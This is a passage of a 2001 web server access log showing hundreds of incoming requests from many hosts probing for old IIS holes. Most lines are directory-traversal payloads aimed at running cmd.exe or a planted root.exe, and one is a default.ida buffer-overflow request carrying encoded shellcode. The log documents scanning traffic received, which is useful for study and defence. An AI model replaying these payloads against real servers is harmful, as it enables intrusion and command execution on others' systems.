  3275. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3276. 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3277. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3278. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3279. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3280. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3281. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3282. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3283. 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3284. 20010918 13:00:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3285. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3286. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3287. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3288. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3289. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3290. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3291. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3292. 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3293. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3294. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3295. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3296. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3297. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3298. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3299. 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3300. 20010918 13:02:28: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3301. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3302. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3303. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3304. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3305. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3306. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3307. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3308. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3309. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3310. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3311. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3312. 20010918 13:02:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3313. 20010918 13:02:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3314. 20010918 13:02:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3315. 20010918 13:02:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3316. 20010918 13:02:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3317. 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3318. 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3319. 20010918 13:02:59: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3320. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3321. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3322. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3323. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3324. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3325. 20010918 13:03:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3326. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3327. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3328. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3329. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3330. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3331. 20010918 13:03:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3332. 20010918 13:03:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3333. 20010918 13:05:02: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3334. 20010918 13:05:03: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3335. 20010918 13:05:03: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3336. 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3337. 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3338. 20010918 13:05:04: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3339. 20010918 13:05:05: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3340. 20010918 13:05:05: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3341. 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3342. 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3343. 20010918 13:05:06: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3344. 20010918 13:05:07: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3345. 20010918 13:05:07: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3346. 20010918 13:05:08: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3347. 20010918 13:05:08: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3348. 20010918 13:05:09: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3349. 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3350. 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3351. 20010918 13:09:11: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3352. 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3353. 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3354. 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3355. 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3356. 20010918 13:09:12: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3357. 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3358. 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3359. 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3360. 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3361. 20010918 13:09:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3362. 20010918 13:09:14: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3363. 20010918 13:09:14: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3364. 20010918 13:09:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  3365. 20010918 13:10:01: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3366. 20010918 13:10:20: boar.agen.ufl.edu [128.227.240.97] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3367. 20010918 13:10:21: boar.agen.ufl.edu [128.227.240.97] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3368. 20010918 13:10:22: boar.agen.ufl.edu [128.227.240.97] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3369. 20010918 13:10:22: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3370. 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3371. 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3372. 20010918 13:10:23: boar.agen.ufl.edu [128.227.240.97] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3373. 20010918 13:10:24: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3374. 20010918 13:10:25: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3375. 20010918 13:10:25: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3376. 20010918 13:10:26: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3377. 20010918 13:10:27: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3378. 20010918 13:10:28: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3379. 20010918 13:10:30: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3380. 20010918 13:10:33: boar.agen.ufl.edu [128.227.240.97] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3381. 20010918 13:10:33: shiwoei.ie.wisc.edu [128.104.188.128] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3382. 20010918 13:11:41: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3383. 20010918 13:11:50: housenet.Colorado.EDU [128.138.118.250] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3384. 20010918 13:11:51: housenet.Colorado.EDU [128.138.118.250] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3385. 20010918 13:11:52: housenet.Colorado.EDU [128.138.118.250] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3386. 20010918 13:11:53: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3387. 20010918 13:11:54: housenet.Colorado.EDU [128.138.118.250] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3388. 20010918 13:11:55: housenet.Colorado.EDU [128.138.118.250] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3389. 20010918 13:11:57: housenet.Colorado.EDU [128.138.118.250] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3390. 20010918 13:11:58: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3391. 20010918 13:11:59: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3392. 20010918 13:12:01: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3393. 20010918 13:12:02: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3394. 20010918 13:12:03: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3395. 20010918 13:12:05: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3396. 20010918 13:12:07: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3397. 20010918 13:12:09: housenet.Colorado.EDU [128.138.118.250] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3398. 20010918 13:12:10: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3399. 20010918 13:14:00: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3400. 20010918 13:14:01: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3401. 20010918 13:14:02: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3402. 20010918 13:14:03: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3403. 20010918 13:14:05: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3404. 20010918 13:14:06: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3405. 20010918 13:14:07: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3406. 20010918 13:14:09: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3407. 20010918 13:14:10: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3408. 20010918 13:14:12: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3409. 20010918 13:14:14: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3410. 20010918 13:14:15: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3411. 20010918 13:14:16: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3412. 20010918 13:14:18: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3413. 20010918 13:14:20: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3414. 20010918 13:14:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3415. 20010918 13:16:47: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3416. 20010918 13:16:47: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3417. 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3418. 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3419. 20010918 13:16:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3420. 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3421. 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3422. 20010918 13:16:49: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3423. 20010918 13:16:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3424. 20010918 13:16:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3425. 20010918 13:16:51: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3426. 20010918 13:16:51: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3427. 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3428. 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3429. 20010918 13:16:52: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3430. 20010918 13:16:54:  [128.187.49.236] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3431. 20010918 13:17:13:  [128.187.49.236] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3432. 20010918 13:17:32:  [128.187.49.236] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3433. 20010918 13:17:51:  [128.187.49.236] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3434. 20010918 13:18:10:  [128.187.49.236] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3435. 20010918 13:18:29: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3436. 20010918 13:20:11: andersonm.agronomy.psu.edu [128.118.7.163] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3437. 20010918 13:20:11: andersonm.agronomy.psu.edu [128.118.7.163] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3438. 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3439. 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3440. 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3441. 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3442. 20010918 13:20:12: andersonm.agronomy.psu.edu [128.118.7.163] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3443. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3444. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3445. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3446. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3447. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3448. 20010918 13:20:13: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3449. 20010918 13:20:14: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3450. 20010918 13:20:14: andersonm.agronomy.psu.edu [128.118.7.163] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3451. 20010918 13:20:14:  [206.107.235.113] "GET /scripts/root.exe?/c+dir HTTP/1.0"
